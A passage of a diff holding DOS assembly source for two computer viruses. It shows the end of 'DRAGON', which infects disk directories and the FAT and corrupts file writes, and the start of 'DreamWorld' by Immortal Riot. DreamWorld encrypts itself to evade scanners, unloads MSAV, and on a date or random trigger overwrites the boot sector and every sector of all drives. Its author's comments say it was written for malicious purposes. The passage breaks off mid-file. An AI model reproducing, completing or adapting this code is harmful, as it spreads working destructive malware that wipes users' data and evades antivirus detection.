;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
Strategy: pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ah,[bx+2] ;AH : ª®¬ ¤ DOS
|
||||
cmp ah,04h ;‚¢®¤ ( ç¥â¥¨¥)?
|
||||
je Work ;…᫨ ¥â - ¯à®¤®«¦¨âì ¯à®¢¥àªã
|
||||
cmp ah,08h ;‚뢮¤ ( § ¯¨áì)?
|
||||
je Work ;…᫨ ¥â - ¯à®¤®«¦¨âì ¯à®¢¥àªã
|
||||
cmp ah,09h ;‚뢮¤ á ª®â஫¥¬?
|
||||
je Work ;…᫨ ¥â ¢ë©â¨
|
||||
jmp FuckOut
|
||||
|
||||
Work: call OrigDrive ;Ž¡à ¡®âì ª®¬ ¤ã DOS
|
||||
call CheckDrive ;<3B>â® ®¢ë© ¤¨áª?
|
||||
je CheckData ;„ - § à §¨âì ¥£®
|
||||
call InfectDisk
|
||||
|
||||
CheckData: mov ax,[bx+14h] ;‡ ¯à®á ç¥â¥¨¥ á¨á⥬®©
|
||||
FirstSector: cmp ax,10h ;®¡¤ áâì ¤¨áª ?
|
||||
jb FuckOut ;„ - ¢ë©â¨
|
||||
LastSector: cmp ax,21h
|
||||
ja FuckFile
|
||||
|
||||
call ChangeSector ;‡ à §¨âì ᥪâ®à ª ⮫®£
|
||||
jmp Exit ;‚ë©â¨
|
||||
|
||||
FuckFile: mov ah,es:[bx+2] ;AH : ª®¬ ¤ DOS
|
||||
cmp ah,08h ;‚뢮¤ (ç¥â¥¨¥)?
|
||||
je GoAhead ;<3B>஢¥à¨âì ¤ ë¥
|
||||
cmp ah,09h ;‚뢮¤ á ª®â஫¥¬?
|
||||
jne FuckOut ;<3B>¥â ¢ë©â¨
|
||||
|
||||
GoAhead: mov ax,es:[bx+14h] ;—¥â¥¨¥ á¨á⥬®© ®¡« áâ¨
|
||||
cmp ax,word ptr cs:LastSector+1 ;¤¨áª ?
|
||||
jb FuckOut ;„ - ¢ë©â¨
|
||||
inc cs:RecNum ;“¢¥«¨ç¨âì ®¬¥à § ¯¨á¨
|
||||
cmp cs:RecNum,64h ;<3B>â® 100 § ¯¨áì?
|
||||
jne FuckOut ;<3B>¥â ¢ë©â¨
|
||||
mov cs:RecNum,00h ;Ž¡ã«¨âì ç¨á«® § ¯¨á¥©
|
||||
call DestroyFile ;<3B> §àãè¨âì § ¯¨áë¢ ¥¬ë¥ ¤ ë¥
|
||||
|
||||
FuckOut: call OrigDrive ;‚맢 âì ®à¨£¥ «ìë© ¤à ©¢¥à
|
||||
Exit: pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
Inter: retf ;‚ë©â¨
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Infect Disk *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
InfectDisk proc near
|
||||
cld ;‡ ¯®¬¨âì § £®«®¢®ª § ¯à®á
|
||||
mov cx,0bh ;¢ á⥪¥
|
||||
mov si,bx
|
||||
Save: lodsw
|
||||
push ax
|
||||
loop Save
|
||||
|
||||
mov word ptr [bx+0eh],offset VirusEnd ;“áâ ®¢¨âì ᢮©
|
||||
mov word ptr [bx+10h],cs ;¡ãää¥à ¤«ï ç¥â¥¨ï á ¤¨áª
|
||||
mov byte ptr [bx+2],02h ;‡ ¯à 訢 ¥¬ BPB
|
||||
call OrigDrive ;( BIOS Parametr Block)
|
||||
|
||||
lds si,[bx+12h] ;DS:SI : ¤à¥á BPB
|
||||
|
||||
mov ax,[si+11] ;AX : ç¨á«® ᥪâ®à®¢ FAT
|
||||
mov word ptr cs:FatSec1+3,ax
|
||||
push ax
|
||||
dec ax
|
||||
mov cx,[si] ;CX : <20> §¬¥à ᥪâ®à ¢ ¡ ©â å
|
||||
mul cx ;AX : à §¬¥à FAT ¢ ¡ ©â å
|
||||
mov word ptr cs:FatSecSize+2,ax
|
||||
pop ax
|
||||
shl ax,01h
|
||||
add ax,[si+3] ;AX : ‘¥ªâ®à ª â «®£
|
||||
mov word ptr cs:FirstSector+1,ax
|
||||
push ax
|
||||
|
||||
xor dx,dx
|
||||
mov ax,[si]
|
||||
mov word ptr cs:Bytes+1,ax
|
||||
mov cx,20h
|
||||
div cx
|
||||
mov cx,ax
|
||||
mov ax,[si+6] ;AX : à §¬¥à ª â «®£
|
||||
div cx
|
||||
|
||||
pop di
|
||||
add di,ax ;DI : <20>¥à¢ë© ᥪâ®à ®¡« áâ¨
|
||||
mov word ptr cs:LastSector+1,di ;¤ ëå
|
||||
mov ax,[si+8] ;AX : ®¡é¥¥ ç¨á«® ᥪâ®à®¢
|
||||
push ax
|
||||
xor cx,cx
|
||||
mov cl,[si+2] ;CX : ç¨á«® ᥪâ®à®¢ ¢ ª« áâ¥à¥
|
||||
mov word ptr cs:Cluster+1,cx
|
||||
|
||||
sub ax,cx ;“¬¥ìè¨âì ç¨á«® ᥪâ®à®¢
|
||||
mov word ptr cs:StartSector+3,ax ;à §¬¥à ®¤®£® ª« áâ¥à
|
||||
pop ax
|
||||
sub ax,di
|
||||
xor dx,dx
|
||||
div cx
|
||||
inc ax
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
FatSec1: mov word ptr [bx+14h],01h ;—¨â ¥¬ ¯®á«¥¤¨© ᥪâ®à FAT
|
||||
mov word ptr [bx+12h],01h
|
||||
mov byte ptr [bx+2],04h
|
||||
call OrigDrive
|
||||
lds si,[bx+0eh] ;DS:SI : 㪠§ë¢ ¥â áç¨â ë©
|
||||
;ᥪâ®à
|
||||
push bp
|
||||
|
||||
mov bp,ax ;BP : ç¨á«® ª« áâ¥à®¢
|
||||
cmp ax,0ff6h ;<3B>â® 16 ¡¨â®¢ë© FAT?
|
||||
jae Fat16Bit ;…᫨ ¥â ¯à®¤®«¦¨âì
|
||||
|
||||
More12Bit: mov ax,bp ;Ž¯à¥¤¥«¥¨¥ á¬¥é¥¨ï ¤«ï
|
||||
mov cx,03h ;¯®á«¥¤¥£® ª« áâ¥à ¤¨áª
|
||||
mul cx
|
||||
shr ax,01h
|
||||
|
||||
mov di,ax ;DI : ¤à¥á í«¥¬¥â FAT ¢
|
||||
add di,si ;¡ãää¥à¥
|
||||
FatSecSize: sub di,100h
|
||||
mov ax,bp
|
||||
test ax,01h ;<3B>â® ç¥âë© ®¬¥à ª« áâ¥à ?Í»
|
||||
mov ax,[di] ;AX : í«¥¬¥â FAT º
|
||||
jnz Chet ;…᫨ ¥â ¯à®¤®«¦¨âì ͼ
|
||||
|
||||
and ax,0fffh ;Ž¡ã«¨âì áâ à訥 4 ¡¨â
|
||||
jmp GoOn
|
||||
|
||||
Chet: mov cl,04h ;‘¤¢¨ãâì 4 ¡¨â ¢«¥¢®
|
||||
shl ax,cl
|
||||
jmp GoOn
|
||||
|
||||
GoOn: cmp ax,0ff7h ;<3B>â® ¯«®å®© ª« áâ¥à ( BAD)
|
||||
je Bad12Bit ;…᫨ ¥â ¯à®¤®«¦¨âì
|
||||
|
||||
test bp,01h ;<3B>â® ç¥âë© ª« áâ¥à
|
||||
jnz ChetCluster ;<3B>¥â - ¯à®¤®«¦¨âì
|
||||
or ax,0fffh ;<3B>®¬¥â¨âì ª« áâ¥à ª ª ¯®á«¥¤¨©
|
||||
mov [di],ax ;¢ 楯®çª¥ ( EOF)
|
||||
jmp Contin
|
||||
|
||||
ChetCluster: mov dx,0fffh
|
||||
mov cl,04h
|
||||
shl dx,cl
|
||||
or ax,dx ;<3B>®¬¥â¨âì ª« áâ¥à ª ª ¯®á«¥¤¨©
|
||||
mov [di],ax ;¢ 楯®çª¥ ( EOF)
|
||||
jmp Contin
|
||||
|
||||
Rest: jmp Fuck
|
||||
|
||||
More16Bit: mov ax,bp
|
||||
Fat16Bit: mov di,ax
|
||||
add di,si
|
||||
sub di,word ptr cs:FatSecSize+2
|
||||
mov ax,[di] ;AX : 16 ¡¨â®¢ë© í«¥¬¥â FAT
|
||||
cmp ax,0fff7h ;<3B>â® ¯«®å®© ª« áâ¥à?
|
||||
je Bad16Bit ;<3B>¥â - ¯à®¤®«¦¨âì
|
||||
mov ax,0ffffh ;<3B>®¬¥â¨âì ¥£® ª ª ¯®á«¥¤¨© ¢
|
||||
mov [di],ax ;楯®çª¥ ª« áâ¥à®¢ ( EOF)
|
||||
jmp Contin
|
||||
|
||||
Bad16Bit: call bad ;‚§ïâì ¯à¥¤ë¤ã騩 ª« áâ¥à
|
||||
jmp More16Bit ;<3B>஢¥à¨âì ¥£®
|
||||
|
||||
Bad12Bit: call bad ;‚§ïâì ¯à¥¤ë¤ã騩 ª« áâ¥à
|
||||
jmp More12Bit ;<3B>஢¥à¨âì ¥£®
|
||||
|
||||
Contin: mov word ptr cs:Location+1,bp
|
||||
pop bp ;‡ ¯¨á âì ¨§¬¥¥ë© FAT ¤¨áª
|
||||
push es
|
||||
pop ds
|
||||
|
||||
call Write
|
||||
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
mov si,100h ;‘®§¤ âì ª®¯¨î ¢¨àãá
|
||||
mov di,offset VirusEnd
|
||||
mov cx,1024
|
||||
rep movsb
|
||||
|
||||
Again: mov ax,40h ;‚§ïâì á«ãç ©®¥ ç¨á«®
|
||||
mov es,ax
|
||||
mov di,6ch
|
||||
mov ax,word ptr es:[di]
|
||||
|
||||
cmp ax,00h ;—¨á«® à ¢® ã«î
|
||||
je Again ;„ ¢§ïâì ¤à㣮¥ ç¨á«®
|
||||
|
||||
mov word ptr cs:VirusEnd+7,ax ;‘®åà ¨âì ª«îç ¤«ï
|
||||
mov word ptr cs:Key+1,ax ;à áè¨ä஢ª¨
|
||||
|
||||
mov di,offset VirusEnd ;‡ è¨ä஢ âì ¢¨àãá
|
||||
add di,14
|
||||
mov cx,1010
|
||||
Key: mov ax,00h ;Š«îç ¤«ï è¨ä஢ª¨ ( ¬¥ï¥âáï)
|
||||
Coding: xor word ptr [di],ax
|
||||
inc di
|
||||
loop Coding
|
||||
|
||||
pop es
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov word ptr [bx+0eh],offset VirusEnd
|
||||
mov word ptr [bx+10h],cs ;‡ ¯¨á âì § è¨ä஢ ãî ª®¯¨î
|
||||
StartSector: mov word ptr [bx+14h],14h ;¢¨àãá ¤¨áª
|
||||
mov word ptr [bx+12h],02h
|
||||
call Write
|
||||
|
||||
Fuck: push es ;‚®ááâ ®¢¨âì § £®«®¢®ª § ¯à®á
|
||||
pop ds
|
||||
std
|
||||
mov cx,0bh
|
||||
mov di,bx
|
||||
add di,20
|
||||
Load: pop ax
|
||||
stosw
|
||||
loop Load
|
||||
ret ;‚ë©â¨
|
||||
InfectDisk endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Infect or Disinfect Directory *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
ChangeSector proc near
|
||||
xor dx,dx
|
||||
mov ax,[bx+12h] ;Š®«¨ç¥á⢮ ᥪâ®à®¢
|
||||
Bytes: mov cx,10h ;CX : à §¬¥à ᥪâ®à ( ¬¥ï¥âáï)
|
||||
mul cx
|
||||
mov di,ax ;DI : à §¬¥à ¢ ¡ ©â å
|
||||
lds si,[bx+0eh] ;DS:SI : ¤à¥á ¡ãää¥à á ¤ 묨
|
||||
add di,si ;DS:DI : ¤à¥á ª®æ ¡ãää¥à
|
||||
xor cx,cx ;<3B>ਧ ª § à ¦¥¨ï
|
||||
|
||||
push ds ;‘®åà ¨âì ¤à¥á ¡ãää¥à
|
||||
push si
|
||||
|
||||
call InfectSector ;‡ à §¨âì ª â «®£
|
||||
jcxz NoInfect ;Œë ¨§¬¥¨«¨ ª â «®£?
|
||||
call Write ;„ - § ¯¨á âì ¤¨áª
|
||||
|
||||
NoInfect: pop si ;‚®ááâ ®¢¨âì ¤à¥á ¡ãää¥à
|
||||
pop ds
|
||||
inc cl ;<3B>ਧ ª ¢ëªãáë¢ ¨ï ¢¨àãá
|
||||
;¨§ § à ¦¥ëå ä ©«®¢
|
||||
call InfectSector ;‚ë«¥ç¨âì ª â «®£
|
||||
ret ;‚ë©â¨
|
||||
ChangeSector endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Infect or Disinfect Files *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
InfectSector proc near
|
||||
More: mov ax,[si+8] ;AX : ¯¥à¢ë¥ ¤¢¥ ¡ãª¢ë à áè¨à¥¨ï
|
||||
cmp ax,'XE' ;<3B>â® EXE- ä ©«?
|
||||
jne COM ;<3B>¥â ¯à®¢¥à¨âì ¤ «ìè¥
|
||||
cmp [si+0ah],al
|
||||
je Infect
|
||||
COM: cmp ax,'OC' ;<3B>â® COM- ä ©«?
|
||||
jne NextFile ;<3B>¥â - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||||
cmp byte ptr [si+0ah],'M'
|
||||
jne NextFile
|
||||
|
||||
Infect: cmp word ptr [si+28],1024 ;” ©« ¬¥ìè¥ 1024 ¡ ©â ?
|
||||
jb NextFile ;„ - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||||
test byte ptr [si+0bh],1ch ;<3B>â® ¤¨à¥ªâ®à¨ï ¨«¨ á¨á⥬ë©
|
||||
;ä ©«
|
||||
jnz NextFile ;„ - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||||
test cl,cl ;‡ à ¦¥¨¥?
|
||||
jnz Disinfect ;„ - § à §¨âì ä ©«
|
||||
|
||||
Location: mov ax,714 ;AX : ª« áâ¥à ᮤ¥à¦ 騩 ¢¨àãá
|
||||
;( ¬¥ï¥âáï)
|
||||
cmp ax,[si+1ah] ;<3B>â® ä ©« § à ¦¥?
|
||||
je NextFile ;„ - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||||
xchg ax,[si+1ah] ;‡ à §¨âì ä ©«, AX : áâ à⮢ë©
|
||||
xor ax,666h ;ª« áâ¥à ä ©«
|
||||
mov [si+12h],ax ;<3B>®¬¥áâ¨âì ¥£® ¢ ®¡« áâì DOS
|
||||
inc ch ;<3B>ਧ ª ¨§¬¥¥¨ï ª â «®£
|
||||
jmp NextFile ;‚§ïâì á«¥¤ãî騩 ä ©«
|
||||
|
||||
Disinfect: xor ax,ax
|
||||
xchg ax,[si+12h] ;AX : áâ àë© áâ àâ®¢ë© ª« áâ¥à
|
||||
xor ax,666h ;§ à ¦¥®£® ä ©«
|
||||
mov [si+1ah],ax ;‚ë«¥ç¨âì ä ©«
|
||||
|
||||
NextFile: add si,20h ;€¤à¥á á«¥¤ãî饣® ä ©«
|
||||
cmp di,si
|
||||
jne More
|
||||
ret
|
||||
InfectSector endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Destroy Files *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
DestroyFile proc near
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
les di,es:[bx+0eh] ;ES:DI : ¤à¥á § ¯¨áë¢ ¥¬ëå
|
||||
;¤ ëå
|
||||
mov si,offset CopyRight ;DS:SI : ¤à¥á áâப¨ á ¨ä®à¬ æ.
|
||||
mov cx,120 ;CX : ¤«¨ áâப¨
|
||||
rep movsb ;“¨ç⮦¨âì ¤ ë¥
|
||||
pop es
|
||||
ret ;‚ë©â¨
|
||||
DestroyFile endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Write to Disk *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
Write proc near
|
||||
mov ah,es:[bx+2] ;‘®åà 塞 ª®¬ ¤ã DOS
|
||||
mov byte ptr es:[bx+2],08h ;Š®¬ ¤ ¢ë¢®¤ ( § ¯¨á¨)
|
||||
call OrigDrive ;‚맢 âì ®à¨£¨ «ìë© ¤à ©¢¥à
|
||||
;¤¨áª
|
||||
mov es:[bx+2],ah ;‚®ááâ ®¢¨âì ª®¬ ¤ã DOS
|
||||
and byte ptr es:[bx+4],7fh ;‘¡à®á¨âì ä« £ ®è¨¡ª¨
|
||||
ret
|
||||
Write endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Check Disk *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
CheckDrive proc near
|
||||
mov al,[bx+1] ;AL : ®¬¥à ¤¨áª
|
||||
|
||||
drive: cmp al,-1 ;„¨áª ᬥ¨«áï?
|
||||
mov byte ptr cs:[drive+1],al ;‡ ¯®¬¨âì ®¬¥à ¤¨áª ?
|
||||
jne Change ;„ - ¢ë©â¨. <20>¥â ¯à®¢¥à¨âì ¥
|
||||
;ᬥ¨«áï «¨ ä«®¯¯¨ ¤¨áª
|
||||
push [bx+0eh]
|
||||
mov byte ptr [bx+2],01h ;Š®¬ ¤ Š®âà®«ï ®á¨â¥«ï
|
||||
call OrigDrive ;‚맢 âì ¤à ©¢¥à ¤¨áª
|
||||
cmp byte ptr [bx+0eh],01h ;„¨áª ᬥ¨«áï?
|
||||
pop [bx+0eh]
|
||||
mov [bx+2],ah ;‚®ááâ ®¢¨âì ª®¬ ¤ã DOS
|
||||
|
||||
Change: ret
|
||||
CheckDrive endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Get Next Cluster *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
Bad proc near
|
||||
dec bp ;“¬¥ìè¨âì ®¬¥à ª« áâ¥à
|
||||
Cluster: mov ax,00h ;AX : ç¨á«® ᥪâ®à®¢ ¢ ª« áâ¥à¥
|
||||
;( ¬¥ï¥âáï)
|
||||
sub word ptr cs:StartSector+3,ax
|
||||
ret
|
||||
Bad endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Call Original Device Drive *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
OrigDrive proc near
|
||||
; jmp far 70h:xxxxh
|
||||
db 9ah ;‚맢 âì ¯à®æ¥¤ãàã ‘âà ⥣¨¨
|
||||
Strat: dw ?,70h ;®à¨£¥ «ì®£® ¤à ©¢ªà ¤¨áª
|
||||
; jmp far 70h:xxxxh
|
||||
db 9ah ;‚맢 âì ¯à®æ¥¤ãàã <20>à¥àë¢ ¨ï
|
||||
Intr: dw ?,70h ;®à¨£¥ «ì®£® ¤à ©¢ªà ¤¨áª
|
||||
ret
|
||||
OrigDrive endp
|
||||
|
||||
dragon endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Data Area *** Û
|
||||
;Û Begin Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
header: inc ax
|
||||
ret
|
||||
dw 1
|
||||
dw 2000h ;€ââਡãâ ãáâனá⢠:
|
||||
;<3B>«®ª®¢®¥, ä®à¬ â ¥ IBM
|
||||
dw offset Strategy ;€¤à¥á ¯®æ¥¤ãàë ‘âà ⥣¨¨
|
||||
dw offset Inter ;€¤à¥á ¯à®æ¥¤ãàë <20>à¥àë¢ ¨ï
|
||||
db 7fh ;—¨á«® ¡«®ª®¢ëå ãáâனáâ¢
|
||||
|
||||
file db 'c:\dragon.com',0
|
||||
param dw 0,80h,?,5ch,?,6ch,? ;<3B> à ¬¥âàë ¤«ï § ¯ãáª
|
||||
;§ à ¦¥®£® ä ©«
|
||||
|
||||
CopyRight db 'DRAGON ver 1.0 Copyright (c) MicroVirus Corp. 1993',0
|
||||
Lords db 'The Lords of the Computers !',0,0
|
||||
Lord db 'DRAGON - the Lord of Disks !',0,0
|
||||
Author db 'anti'
|
||||
RecNum db ? ;<3B>®¬¥à § ¯¨á¨
|
||||
VirusEnd db ?
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Data Area *** Û
|
||||
;Û End Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
code ends
|
||||
end dragon
|
|
@ -0,0 +1,260 @@
|
|||
; -DreamWorld?-
|
||||
; "Created by Immortal Riot's destructive development team"
|
||||
; (c) 93/94 Immortal Riot - All rights reserved
|
||||
;
|
||||
; Dedication:
|
||||
; "If Metal Militia was dead, this virus should be deadicated to him"
|
||||
;
|
||||
; Notes:
|
||||
; This was 'written' in one day. It sucks, but not as good as my..
|
||||
; ahh.. now I remember, I don't got a girl-friend, but my "girl-friend"
|
||||
; think she got a boy-friend? Huh? She's nuts!
|
||||
;
|
||||
; Notes_II:
|
||||
; F-Prot, Scan, TBAV, FindViru can't find shits of this code.
|
||||
;
|
||||
; Disclaimer:
|
||||
; Well, I just gotta have one, you know. So, I hereby claim this:
|
||||
; "I take no responsability for any damage, either direct or implied,
|
||||
; caused by the usage of the virus source code or of the resulting code
|
||||
; after assembly. No warrant is made about the product functionability
|
||||
; or quality. The code was written in pure educational purposes ONLY."
|
||||
;
|
||||
; Truth:
|
||||
; Well, this was written only for malicious intends. I havn't learned
|
||||
; a shit by writing this shit. Now you know that.. Well, I just had
|
||||
; some hours spare time, and a huge appetite for destruction. That's why
|
||||
; this virus was created. No more, no less. Ciao! /The Unforgiven
|
||||
|
||||
.model tiny ;
|
||||
.code ;
|
||||
org 100h ;
|
||||
;
|
||||
Start: ;
|
||||
db 0e9h ; Jump to start1 and mark this file
|
||||
DW 0 ; as virus-infected!
|
||||
;
|
||||
Start1: ;
|
||||
xchg ax,ax ; It's simply two NOPs
|
||||
nop ;
|
||||
;
|
||||
mov ax,0fa01h ; Let's un-install MSAV junk program
|
||||
mov dx,5945h ; from memory for a cost of 8 bytes :)
|
||||
int 16h ;
|
||||
;
|
||||
call get_delta ; Get the delta offset
|
||||
get_delta: ;
|
||||
pop bp ;
|
||||
sub bp, offset get_delta ;
|
||||
;
|
||||
Call_en_de_crypt: ; Well, just using alternitive code
|
||||
mov ax,bp ; for a "call en_de_crypt", for satisfying
|
||||
add ax,011dh ; my very sick brain..
|
||||
push ax ;
|
||||
jmp short en_de_crypt ;
|
||||
jmp short real_code_start ; Sneee!
|
||||
;
|
||||
crypt_val dw 0 ; We get a random value for each encryption!
|
||||
;
|
||||
Write_virus: ;
|
||||
call en_de_crypt ; Encrypt virus before we write!
|
||||
mov ah,65d ; 65d - 1d = 40HEX!
|
||||
sub ah,1d ; ^^^ How meaningless!
|
||||
mov cx, end_of_virus - start1 ; CX = bytes to write
|
||||
lea dx, [bp+start1] ; ; DX = Where to write from (100h)
|
||||
int 21h ; ; Duh!
|
||||
;
|
||||
call en_de_crypt ; Decrypt virus again
|
||||
ret ;
|
||||
;
|
||||
En_de_crypt: ; Heuristic, Heuristic, eat this!
|
||||
;
|
||||
mov ax,word ptr [bp+crypt_val]
|
||||
lea si,[bp+encrypt_start] ;
|
||||
mov cx,(end_of_virus-start1+1)/2
|
||||
;
|
||||
Xor_loop: ;
|
||||
xor word ptr [si],ax ; Encrypting two bytes/loop, until
|
||||
add si,2 ; all the code between encryption_start
|
||||
loop xor_loop ; to end_of_virus is encrypted!
|
||||
ret ;
|
||||
;
|
||||
Encrypt_start: ; All code here and below is encrypted,
|
||||
Real_code_start: ; making it hard for heuristic scanners!
|
||||
;
|
||||
mov ah,2ah ; First, we check for what date it is
|
||||
int 21h ;
|
||||
cmp dl,31 ; Is it the 31st any month?
|
||||
jne not_now ; Nop!
|
||||
;
|
||||
Cruel: ;
|
||||
mov ah,09h ; It's the 31st any month!
|
||||
lea dx,[bp+v_name] ; or the 1/100 of a second = 1
|
||||
int 21h ; we'll print a message!
|
||||
;
|
||||
mov al,2h ; and after that, we'll brutally
|
||||
mov cx,1 ; overwrite the first-sector on
|
||||
lea bx,v_name ; drive C: with our virus name!
|
||||
cwd ;
|
||||
int 26h ;
|
||||
;
|
||||
Not_now: ; It wasn't the 31:st, so,
|
||||
mov ah,2ch ; we'll take a random number
|
||||
int 21h ; from a 1/100 of a second and if
|
||||
cmp dl,1 ; the value is 1, we'll trash the
|
||||
je cruel ; boot-sector on drive C: and if
|
||||
cmp dl,98 ; the value is 99 we will brutally
|
||||
jbe no_harm ; destroy all sectors on all drives.
|
||||
;
|
||||
Trash_sucker: ;
|
||||
mov al,2h ; We'll start on drive C: (2h)
|
||||
Drive: ; We'll overwrite one sector/run!
|
||||
mov cx,1 ; with our virus name, and we'll
|
||||
lea bx,v_name ; write from sector one, with the
|
||||
xor dx,dx ; very nice interrupt 26h (sector write!)
|
||||
Next_Sector: ; and after we've written one sector we'll
|
||||
int 26h ; jump to the next sector and overwrite
|
||||
inc dx ; that too, and loop until all sectors are
|
||||
jnc next_sector ; being overwritten, then, we'll jump to
|
||||
inc al ; the next drive, and overwrite all sectors
|
||||
jmp short drive ; there as well. And the next drive, and
|
||||
; the next.. :-).
|
||||
No_Harm: ;
|
||||
lea dx,[bp+offset dta] ; Set the DTA to variable called DTA
|
||||
call set_dta ; (DTA=42 byte chunk of memory!)
|
||||
;
|
||||
Buf_Xfer: ; Restore the beginning..
|
||||
lea si, [bp+offset org3] ;
|
||||
mov di, 100h ; DI=100h
|
||||
push di ; Store di with our new value.
|
||||
movsw ; Move string by word (the first two bytes!)
|
||||
movsb ; Move string by byte (the third byte in the
|
||||
; buffer), b'cos our org3 buffer is 3 bytes!
|
||||
;
|
||||
Get_drive: ;
|
||||
mov ah,19h ; We'll get the drive from were we're executed
|
||||
int 21h ; from, and if an infected file is being run
|
||||
cmp al,2 ; from A: or B: we'll not search for more files
|
||||
jae Get_dir ; to infect b'cos we havn't got a int24 handler.
|
||||
ret ; Let the infected files run normally!
|
||||
;
|
||||
Get_dir: ; Get directory from where we're being executed
|
||||
mov ah,47h ; from. Must do that b'cos we're using the
|
||||
sub dl,dl ; dot-dot method to travel around!
|
||||
lea si,[bp+end_of_virus+2ch];
|
||||
